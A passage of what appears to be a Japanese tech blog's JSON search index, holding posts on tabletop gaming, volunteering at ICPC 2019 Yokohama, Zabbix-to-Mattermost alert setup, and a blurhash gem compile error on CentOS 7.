href=\"https://tablegame.mstdn.cloud/@usaturn\"\u003eうさたーん\u003c/a\u003eさんで、自己紹介の時に私が「TRPGは初めてで、リプレイ動画をよく見ていました」と言った時に、実際やるTRPGはリプレイ動画とはかなり違う、と若干シリアスめに伝えられたことをよく覚えています。\u003c/p\u003e\n\u003cp\u003e遊んでみれば確かにそうで、実際の卓では一瞬で適した判断を下せるわけでも、判定に必要な計算が瞬時にできるわけでもありません。\u003cbr\u003e\nしかし、そのことは私にとって全く問題ではありませんでした。\u003c/p\u003e\n\u003cp\u003e例えるならば、役者希望の人が他人の舞台を見続け、拙い技術ながらもやっと自分の舞台に立てたときの気持ちでしょうか。\u003cbr\u003e\nずっと(1年間くらい?)リプレイ動画を見ながら楽しそうだなと思っていた私にとって、初めてのTRPGで「やっと物語の参加者になれた」という思いを強く感じました。\u003c/p\u003e\n\u003cp\u003e元々演技は好きなほうなので、卓がある度に毎回楽しくロールプレイさせていただいています。\u003cbr\u003e\n箪笥の皆さんとたくさん物語を作ることができて、とても嬉しいです。\u003c/p\u003e\n\u003ch2 id=\"5いい感じの締め\"\u003e5.いい感じの締め\u003c/h2\u003e\n\u003cp\u003eというわけで、今ではボードゲームとTRPG共にとても楽しく遊んでいます。\u003cbr\u003e\nまだまだ拙いところがあるかとは思いますが、これからもどうぞよろしくお願いします！\u003c/p\u003e\n\u003cp\u003e明日は-101-さんの描いたよ報告です。\u003c/p\u003e","title":"ボードゲームとTRPGに対する所感"},{"content":"今年もスタッフとして参加した。\n1日目 朝9時に横浜産貿ホールへ集合。Tシャツやネームタグ受け取りなどの諸々の準備を済ませ朝のミーティング。\nその後rehearsalのテストを済ませ、受付班として入り口付近のチェックと contestant及びcoachの受け入れ手順と注意事項を確認。\n昨年度と同じ会場\u0026amp;去年も受付班だったため特に個人的には特に手間取らず終了。\n確認後は風船の準備や昼食を摂るなどして入場時間まで待機してした。\n13時に入場開始。スタッフは参加者へ英語で話しかける必要があるため最初は手間取ったが、徐々に言葉が最適化されていき後半は特に困らず。\nただ1つ反省点としては、今日と明日の注意事項を一気に確認したため、それらの内容が脳内で混ざり合い時々明日の注意事項を今日に取り違えるミスが発生した。\nまた、わりかし雑に案内してよいことが分かった。\n(例: 「この通路は出口専用であり通れないため、あちらの通路を使って下さい」ではなく「この通路は出口専用だ」と言えば勝手にもうひとつの通路へ移動してくれる)\n全てのチームの入場が完了した後は、rehearsalでの風船と印刷物配り\u0026amp;会場内巡回。\n印刷物配りについては今年から誤配防止策が強化されており、人間2人による配布対象チームのダブルチェックが行われるようになった。\n結局誤配は一度も起きず、明日も起きなければ結構な効果があるのかもしれない。\nrehearsal後、チーム紹介や功労賞(?)授与を眺め、contestant退場のcloak対応。\n一斉退場\u0026amp;cloak周りの通路が狭かったため、受け取り待ちにより通路の流れが滞留していた。\n退場後は明日のために入り口付近を再度整え、明日の受け入れ手順を再度確認し18時頃に解散。\n中華街で飲み食いをし、23:30頃就寝。\n2日目 朝5時半頃に目が覚めてしまったため、1日目の参加記を書きつつ暇を潰す。\nホテルで朝食を摂り、7時45分に会場へ集合。\n受付周り対応の注意点確認や張り紙準備などをして会場時間を待つ。\n開場後、1日目と同様に受付班の仕事をこなす。特にトラブルなど無し。\n全てのチームの受付終了後、風船と印刷物配り\u0026amp;会場内巡回の班に合流。\n1日目と違い最初の提出ラッシュが無いため、比較的楽だった。\n問題点として、4枚以上の印刷を行うと印刷内容がずれてコードが一部読めなくなるという問題がプリンタ側にあり、都度選手へ問題ないか確認する作業が発生した。\n幸い4枚以上印刷を行うチームがそこまでいなかったため手間取らなかったが、来年からは別のプリンタを使ってほしい。\nコンテスト終了後は急いで撤収作業を行い、作業終了後に選手の順位発表へ合流。\n毎年のことだがこの時間帯は歩きすぎにより足が終わっているため、ホール内床に座って見学していた。 (治安が悪い)\nその後の立食は立ち続けられる自信が全く無かったため、裏側で座って過ごす。\n頃合いを見計らいパンを数個くすねて食べていた。\n選手退場後、会場内片付けを行い撤収。\n","permalink":"https://unigiri.gitlab.io/posts/icpc2019-asia-yokohama-regional/","summary":"\u003cp\u003e今年もスタッフとして参加した。\u003c/p\u003e\n\u003ch2 id=\"1日目\"\u003e1日目\u003c/h2\u003e\n\u003cp\u003e朝9時に横浜産貿ホールへ集合。Tシャツやネームタグ受け取りなどの諸々の準備を済ませ朝のミーティング。\u003cbr\u003e\nその後rehearsalのテストを済ませ、受付班として入り口付近のチェックと contestant及びcoachの受け入れ手順と注意事項を確認。\u003cbr\u003e\n昨年度と同じ会場\u0026amp;去年も受付班だったため特に個人的には特に手間取らず終了。\u003cbr\u003e\n確認後は風船の準備や昼食を摂るなどして入場時間まで待機してした。\u003c/p\u003e\n\u003cp\u003e13時に入場開始。スタッフは参加者へ英語で話しかける必要があるため最初は手間取ったが、徐々に言葉が最適化されていき後半は特に困らず。\u003cbr\u003e\nただ1つ反省点としては、今日と明日の注意事項を一気に確認したため、それらの内容が脳内で混ざり合い時々明日の注意事項を今日に取り違えるミスが発生した。\u003cbr\u003e\nまた、わりかし雑に案内してよいことが分かった。\u003cbr\u003e\n(例: 「この通路は出口専用であり通れないため、あちらの通路を使って下さい」ではなく「この通路は出口専用だ」と言えば勝手にもうひとつの通路へ移動してくれる)\u003c/p\u003e\n\u003cp\u003e全てのチームの入場が完了した後は、rehearsalでの風船と印刷物配り\u0026amp;会場内巡回。\u003cbr\u003e\n印刷物配りについては今年から誤配防止策が強化されており、人間2人による配布対象チームのダブルチェックが行われるようになった。\u003cbr\u003e\n結局誤配は一度も起きず、明日も起きなければ結構な効果があるのかもしれない。\u003c/p\u003e\n\u003cp\u003erehearsal後、チーム紹介や功労賞(?)授与を眺め、contestant退場のcloak対応。\u003cbr\u003e\n一斉退場\u0026amp;cloak周りの通路が狭かったため、受け取り待ちにより通路の流れが滞留していた。\u003c/p\u003e\n\u003cp\u003e退場後は明日のために入り口付近を再度整え、明日の受け入れ手順を再度確認し18時頃に解散。\u003cbr\u003e\n中華街で飲み食いをし、23:30頃就寝。\u003c/p\u003e\n\u003ch2 id=\"2日目\"\u003e2日目\u003c/h2\u003e\n\u003cp\u003e朝5時半頃に目が覚めてしまったため、1日目の参加記を書きつつ暇を潰す。\u003cbr\u003e\nホテルで朝食を摂り、7時45分に会場へ集合。\u003cbr\u003e\n受付周り対応の注意点確認や張り紙準備などをして会場時間を待つ。\u003c/p\u003e\n\u003cp\u003e開場後、1日目と同様に受付班の仕事をこなす。特にトラブルなど無し。\u003cbr\u003e\n全てのチームの受付終了後、風船と印刷物配り\u0026amp;会場内巡回の班に合流。\u003cbr\u003e\n1日目と違い最初の提出ラッシュが無いため、比較的楽だった。\u003c/p\u003e\n\u003cp\u003e問題点として、4枚以上の印刷を行うと印刷内容がずれてコードが一部読めなくなるという問題がプリンタ側にあり、都度選手へ問題ないか確認する作業が発生した。\u003cbr\u003e\n幸い4枚以上印刷を行うチームがそこまでいなかったため手間取らなかったが、来年からは別のプリンタを使ってほしい。\u003c/p\u003e\n\u003cp\u003eコンテスト終了後は急いで撤収作業を行い、作業終了後に選手の順位発表へ合流。\u003cbr\u003e\n毎年のことだがこの時間帯は歩きすぎにより足が終わっているため、ホール内床に座って見学していた。 (治安が悪い)\u003c/p\u003e\n\u003cp\u003eその後の立食は立ち続けられる自信が全く無かったため、裏側で座って過ごす。\u003cbr\u003e\n頃合いを見計らいパンを数個くすねて食べていた。\u003cbr\u003e\n選手退場後、会場内片付けを行い撤収。\u003c/p\u003e","title":"ICPC 2019 Asia Yokohama Regional 参加記"},{"content":"オンライン勉強会であるインフラ勉強会でLTを行った。\n以下は発表時のカンペ兼資料であり、詳細は口頭で説明したためここでは省略する。\nここでの「監視」の意味 ニュース、ブログ、SNS等、あらゆるメディアの更新状況の目視確認\n監視においてやっていること 目視確認の作業基盤を1つのサービスに集約し管理している\n以下のうれしさがある\n自分の見たい情報のみの確認が可能 未読/既読の管理が容易 メディアごとのアプリダウンロードやお気に入り登録が不要 仕組み [Apps, Web Services] \u0026ndash;\u0026gt; [Zapier] - incoming webhook \u0026ndash;\u0026gt; [Mattermost] \u0026ndash; eyes \u0026ndash;\u0026gt; [Unigiri]\nWhy Mattermost? ほぼ趣味 OSSなのでソースが読め、挙動に不満があれば改善を要求できる 自鯖に立てるチャットツールなので、個人情報の投稿も気軽に可能 (目的が監視のみの場合あまり意味はない) Why Zapier? Twitterのツイート取得とMattermostへの投稿に対応している\n監視項目 Blog Calender News (The Japan Times) Security News (CISA) Twitter Zabbix Alert ","permalink":"https://unigiri.gitlab.io/posts/monitor-everything/","summary":"\u003cp\u003eオンライン勉強会である\u003ca href=\"https://wp.infra-workshop.tech/\"\u003eインフラ勉強会\u003c/a\u003eでLTを行った。\u003c/p\u003e\n\u003cp\u003e以下は発表時のカンペ兼資料であり、詳細は口頭で説明したためここでは省略する。\u003c/p\u003e\n\u003ch3 id=\"ここでの監視の意味\"\u003eここでの「監視」の意味\u003c/h3\u003e\n\u003cp\u003eニュース、ブログ、SNS等、あらゆるメディアの更新状況の目視確認\u003c/p\u003e\n\u003ch3 id=\"監視においてやっていること\"\u003e監視においてやっていること\u003c/h3\u003e\n\u003cp\u003e目視確認の作業基盤を1つのサービスに集約し管理している\u003c/p\u003e\n\u003cp\u003e以下のうれしさがある\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e自分の見たい情報\u003cstrong\u003eのみ\u003c/strong\u003eの確認が可能\u003c/li\u003e\n\u003cli\u003e未読/既読の管理が容易\u003c/li\u003e\n\u003cli\u003eメディアごとのアプリダウンロードやお気に入り登録が不要\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"仕組み\"\u003e仕組み\u003c/h3\u003e\n\u003cp\u003e[Apps, Web Services] \u0026ndash;\u0026gt; [Zapier] - incoming webhook \u0026ndash;\u0026gt; [Mattermost] \u0026ndash; eyes \u0026ndash;\u0026gt; [Unigiri]\u003c/p\u003e\n\u003ch3 id=\"why-mattermost\"\u003eWhy Mattermost?\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eほぼ趣味\u003c/li\u003e\n\u003cli\u003eOSSなのでソースが読め、挙動に不満があれば改善を要求できる\u003c/li\u003e\n\u003cli\u003e自鯖に立てるチャットツールなので、個人情報の投稿も気軽に可能 (目的が監視のみの場合あまり意味はない)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"why-zapier\"\u003eWhy Zapier?\u003c/h3\u003e\n\u003cp\u003eTwitterのツイート取得とMattermostへの投稿に対応している\u003c/p\u003e\n\u003ch3 id=\"監視項目\"\u003e監視項目\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBlog\u003c/li\u003e\n\u003cli\u003eCalender\u003c/li\u003e\n\u003cli\u003eNews (The Japan Times)\u003c/li\u003e\n\u003cli\u003eSecurity News (CISA)\u003c/li\u003e\n\u003cli\u003eTwitter\u003c/li\u003e\n\u003cli\u003eZabbix Alert\u003c/li\u003e\n\u003c/ul\u003e","title":"入門 監視 (日常編)"},{"content":"環境 Mattermost 5.11.0 Zabbix 4.2.4 手順 1. Incoming Webhook生成 Mattermostのメニューより Integrations \u0026gt; Incoming Webhook \u0026gt; Add Incoming Webhook を選択。\nChannelは通知したいチャンネルを選択し、それ以外は任意。\n設定後に生成されるURLを控えておく。\n2. Zabbixサーバに通知用スクリプトを設置 ここでは https://github.com/jirouette/zabbix-mattermost-alertscript を利用する。\n/etc/zabbix/zabbix_server.conf の AlertScriptsPath= に設定されているパスの直下に、上記スクリプト mattermost.py を設置する。\n内容は、以下のように一部書き換える。\nURL 手順1にて生成したURL ICON 通知時に表示したいiconのURL また、パーミッションを以下のコマンドで変更する。\nsudo chown root:root mattermost.py sudo chmod 755 mattermost.py 変更後、以下のコマンドでMattermostに通知が飛ぶかを確認する。\n#alerts は通知するChannelを指定する。\npython mattermost.py \u0026#39;#alerts\u0026#39; PROBLEM \u0026#39;Oh no! Something is wrong!\u0026#39; 3. Media Type 生成 Zabbixのコンソールより Administration \u0026gt; Media types \u0026gt; Create media type を選択し、以下のように入力。\n4. User 生成 Administration \u0026gt; Users より、新規あるいは既存ユーザを選択し、Mediaへ以下の内容を追加する。\nただし、Send toには手順1にて設定したChannelを指定する。\n以下、Mediaを設定したユーザ名を Admin とする。\n5. Action 追加 Configuration \u0026gt; Actions \u0026gt; Create action より、以下の内容を追加。\nAction Operations Default subjectは [Problem: {EVENT.NAME} | {HOST.NAME}](https://SERVER_NAME/tr_events.php?triggerid={TRIGGER.ID}\u0026amp;eventid={EVENT.ID}) と指定することで、アラート詳細へのリンクを張ることが可能。\n6. 挙動確認 確実にアラートが発生するTriggerを追加、もしくは適当に yes \u0026gt; /dev/null などを実行して負荷を上げ、アラートを発生させる。\nMonitoring \u0026gt; Problems にアラートが表示され、Actions columnに数字が表示されていればZabbix側の設定は成功している。\nMattermostに通知が飛んでいることを確認する。\n補足 エラーメッセージ設定時に使用可能なマクロ {EVENT.NAME} や {HOST.NAME} など、アラートに応じて内容を変化させるマクロが存在する。\nマクロ一覧は以下を参照。\nhttps://www.zabbix.com/documentation/4.2/manual/appendix/macros/supported_by_location\n","permalink":"https://unigiri.gitlab.io/posts/notify-zabbix-alert-to-mattermost/","summary":"\u003ch2 id=\"環境\"\u003e環境\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMattermost 5.11.0\u003c/li\u003e\n\u003cli\u003eZabbix 4.2.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"手順\"\u003e手順\u003c/h2\u003e\n\u003ch3 id=\"1-incoming-webhook生成\"\u003e1. Incoming Webhook生成\u003c/h3\u003e\n\u003cp\u003eMattermostのメニューより \u003ccode\u003eIntegrations \u0026gt; Incoming Webhook \u0026gt; Add Incoming Webhook\u003c/code\u003e を選択。\u003cbr\u003e\nChannelは通知したいチャンネルを選択し、それ以外は任意。\u003c/p\u003e\n\u003cp\u003e設定後に生成されるURLを控えておく。\u003c/p\u003e\n\u003ch3 id=\"2-zabbixサーバに通知用スクリプトを設置\"\u003e2. Zabbixサーバに通知用スクリプトを設置\u003c/h3\u003e\n\u003cp\u003eここでは \u003ca href=\"https://github.com/jirouette/zabbix-mattermost-alertscript\"\u003ehttps://github.com/jirouette/zabbix-mattermost-alertscript\u003c/a\u003e を利用する。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/etc/zabbix/zabbix_server.conf\u003c/code\u003e の \u003ccode\u003eAlertScriptsPath=\u003c/code\u003e に設定されているパスの直下に、上記スクリプト mattermost.py を設置する。\u003c/p\u003e\n\u003cp\u003e内容は、以下のように一部書き換える。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eURL\n\u003cul\u003e\n\u003cli\u003e手順1にて生成したURL\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eICON\n\u003cul\u003e\n\u003cli\u003e通知時に表示したいiconのURL\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eまた、パーミッションを以下のコマンドで変更する。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo chown root:root mattermost.py\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo chmod \u003cspan class=\"m\"\u003e755\u003c/span\u003e mattermost.py\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e変更後、以下のコマンドでMattermostに通知が飛ぶかを確認する。\u003cbr\u003e\n\u003ccode\u003e#alerts\u003c/code\u003e は通知するChannelを指定する。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003epython mattermost.py \u003cspan class=\"s1\"\u003e\u0026#39;#alerts\u0026#39;\u003c/span\u003e PROBLEM \u003cspan class=\"s1\"\u003e\u0026#39;Oh no! Something is wrong!\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"3-media-type-生成\"\u003e3. Media Type 生成\u003c/h3\u003e\n\u003cp\u003eZabbixのコンソールより \u003ccode\u003eAdministration \u0026gt; Media types \u0026gt; Create media type\u003c/code\u003e を選択し、以下のように入力。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/notify-zabbix-alert-to-mattermost/1.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"4-user-生成\"\u003e4. User 生成\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eAdministration \u0026gt; Users\u003c/code\u003e より、新規あるいは既存ユーザを選択し、Mediaへ以下の内容を追加する。\u003cbr\u003e\nただし、Send toには手順1にて設定したChannelを指定する。\u003c/p\u003e","title":"MattermostへのZabbix Alert通知方法"},{"content":"何が起こったか Mastodon v2.8.1において、特定の環境でgem install blurhashに失敗する不具合が発生した。この問題はv2.8.2で修正されている。\nhttps://mstdn.jp/@yi0713/102008223252331858\nCentOS勢、masterに追加された blurhash というgemのインストールでコケると思います。原因は gcc が 4.8.5 と古いためのようです\nhttps://mastodon.social/@Mastodon/102044104623035256\nSome people have reported problems installing Mastodon v2.8.1 due to gem compilation.\nThis and a few other small bugs have been fixed in #Mastodon v2.8.2\n不具合の再現 $ cat /etc/redhat-release CentOS Linux release 7.6.1810 (Core) $ gcc -v Using built-in specs. COLLECT_GCC=gcc COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-redhat-linux/4.8.5/lto-wrapper Target: x86_64-redhat-linux Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-linker-hash-style=gnu --enable-languages=c,c++,objc,obj-c++,java,fortran,ada,go,lto --enable-plugin --enable-initfini-array --disable-libgcj --with-isl=/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/isl-install --with-cloog=/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/cloog-install --enable-gnu-indirect-function --with-tune=generic --with-arch_32=x86-64 --build=x86_64-redhat-linux Thread model: posix gcc version 4.8.5 20150623 (Red Hat 4.8.5-36) (GCC) $ gem install blurhash -v 0.1.2 Building native extensions. This could take a while... ERROR: Error installing blurhash: ERROR: Failed to build gem native extension. /usr/bin/ruby extconf.rb creating Makefile make \u0026#34;DESTDIR=\u0026#34; gcc -I. -I/usr/include -I/usr/include/ruby/backward -I/usr/include -I. -fPIC -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -mtune=generic -fPIC -m64 -o encode.o -c encode.c encode.c: In function \u0026#39;blurHashForPixels\u0026#39;: encode.c:28:2: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int y = 0; y \u0026lt; yComponents; y++) { ^ encode.c:28:2: note: use option -std=c99 or -std=gnu99 to compile your code encode.c:29:3: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int x = 0; x \u0026lt; xComponents; x++) { ^ encode.c:48:3: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int i = 0; i \u0026lt; acCount * 3; i++) { ^ encode.c:62:2: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int i = 0; i \u0026lt; acCount; i++) { ^ encode.c: In function \u0026#39;multiplyBasisFunction\u0026#39;: encode.c:75:2: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int y = 0; y \u0026lt; height; y++) { ^ encode.c:76:3: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int x = 0; x \u0026lt; width; x++) { ^ encode.c: In function \u0026#39;encode_int\u0026#39;: encode.c:129:2: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int i = 0; i \u0026lt; length - 1; i++) divisor *= 83; ^ encode.c:131:10: error: redefinition of \u0026#39;i\u0026#39; for(int i = 0; i \u0026lt; length; i++) { ^ encode.c:129:10: note: previous definition of \u0026#39;i\u0026#39; was here for(int i = 0; i \u0026lt; length - 1; i++) divisor *= 83; ^ encode.c:131:2: error: \u0026#39;for\u0026#39; loop initial declarations are only allowed in C99 mode for(int i = 0; i \u0026lt; length; i++) { ^ make: *** [encode.o] Error 1 Gem files will remain installed in /usr/local/share/gems/gems/blurhash-0.1.2 for inspection. Results logged to /usr/local/share/gems/gems/blurhash-0.1.2/ext/blurhash/gem_make.out 原因 再現時のエラーにある通り、for文内でint iと宣言しているため。これはC99から導入された仕様であり、コンパイル時に-std=c99を指定する必要がある。\nMastodon v2.8.2ではblurhashをv0.1.2からv0.1.3に上げる対応1を、blurhash v0.1.3ではコンパイル時に$CFLAGS += ' -std=c99 -lm'を指定する対応2を行っている。\n問題の背景 今回の問題はCentOS 7で発生し、Ubuntu 16.04では発生しなかった。これはパッケージ管理システムでインストールするgccのバージョンに差があるためである。\nCentOS 7では4.8.5 20150623 (Red Hat 4.8.5-36)、Ubuntuでは5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.10)がインストールされる。\ngcc 5系からstd optionのデフォルトがgnu11に変更された。これはc11を拡張したものであり、c11はc99より新しいため上記の仕様を含む。よって-std=c99を指定する必要がなくなる。\nhttps://www.gnu.org/software/gcc/gcc-5/changes.html\nThe default mode for C is now -std=gnu11 instead of -std=gnu89.\n余談 cflagsはgem install実行時に指定可能。\n$ gem install blurhash -v 0.1.2 -- --with-cflags=\u0026#34;-std=c99\u0026#34; Building native extensions with: \u0026#39;--with-cflags=-std=c99\u0026#39; This could take a while... Successfully installed blurhash-0.1.2 Parsing documentation for blurhash-0.1.2 Installing ri documentation for blurhash-0.1.2 1 gem installed Bump blurhash from 0.1.2 to 0.1.3 by Gargron · Pull Request #10700 · tootsuite/mastodon\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFix compile flags · Gargron/blurhash@97b8b37\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/posts/bug-in-blurhash-0_1_2/","summary":"\u003ch2 id=\"何が起こったか\"\u003e何が起こったか\u003c/h2\u003e\n\u003cp\u003eMastodon v2.8.1において、特定の環境で\u003ccode\u003egem install blurhash\u003c/code\u003eに失敗する不具合が発生した。この問題はv2.8.2で修正されている。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://mstdn.jp/@yi0713/102008223252331858\"\u003ehttps://mstdn.jp/@yi0713/102008223252331858\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCentOS勢、masterに追加された blurhash というgemのインストールでコケると思います。原因は gcc が 4.8.5 と古いためのようです\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://mastodon.social/@Mastodon/102044104623035256\"\u003ehttps://mastodon.social/@Mastodon/102044104623035256\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eSome people have reported problems installing Mastodon v2.8.1 due to gem compilation.\u003cbr\u003e\nThis and a few other small bugs have been fixed in #Mastodon v2.8.2\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"不具合の再現\"\u003e不具合の再現\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ cat /etc/redhat-release\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eCentOS Linux release 7.6.1810 \u003cspan class=\"o\"\u003e(\u003c/span\u003eCore\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ gcc -v\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUsing built-in specs.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eCOLLECT_GCC\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003egcc\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eCOLLECT_LTO_WRAPPER\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e/usr/libexec/gcc/x86_64-redhat-linux/4.8.5/lto-wrapper\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eTarget: x86_64-redhat-linux\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eConfigured with: ../configure --prefix\u003cspan class=\"o\"\u003e=\u003c/span\u003e/usr --mandir\u003cspan class=\"o\"\u003e=\u003c/span\u003e/usr/share/man --infodir\u003cspan class=\"o\"\u003e=\u003c/span\u003e/usr/share/info --with-bugurl\u003cspan class=\"o\"\u003e=\u003c/span\u003ehttp://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads\u003cspan class=\"o\"\u003e=\u003c/span\u003eposix --enable-checking\u003cspan class=\"o\"\u003e=\u003c/span\u003erelease --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-linker-hash-style\u003cspan class=\"o\"\u003e=\u003c/span\u003egnu --enable-languages\u003cspan class=\"o\"\u003e=\u003c/span\u003ec,c++,objc,obj-c++,java,fortran,ada,go,lto --enable-plugin --enable-initfini-array --disable-libgcj --with-isl\u003cspan class=\"o\"\u003e=\u003c/span\u003e/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/isl-install --with-cloog\u003cspan class=\"o\"\u003e=\u003c/span\u003e/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/cloog-install --enable-gnu-indirect-function --with-tune\u003cspan class=\"o\"\u003e=\u003c/span\u003egeneric --with-arch_32\u003cspan class=\"o\"\u003e=\u003c/span\u003ex86-64 --build\u003cspan class=\"o\"\u003e=\u003c/span\u003ex86_64-redhat-linux\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eThread model: posix\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc version 4.8.5 \u003cspan class=\"m\"\u003e20150623\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003eRed Hat 4.8.5-36\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003eGCC\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ gem install blurhash -v 0.1.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eBuilding native extensions.  This could take a \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e...\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eERROR:  Error installing blurhash:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        ERROR: Failed to build gem native extension.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    /usr/bin/ruby extconf.rb\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecreating Makefile\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emake \u003cspan class=\"s2\"\u003e\u0026#34;DESTDIR=\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc -I. -I/usr/include -I/usr/include/ruby/backward -I/usr/include -I.   -fPIC -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e -fexceptions -fstack-protector-strong --param\u003cspan class=\"o\"\u003e=\u003c/span\u003essp-buffer-size\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e -grecord-gcc-switches -mtune\u003cspan class=\"o\"\u003e=\u003c/span\u003egeneric -fPIC -m64 -o encode.o -c encode.c\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c: In \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan 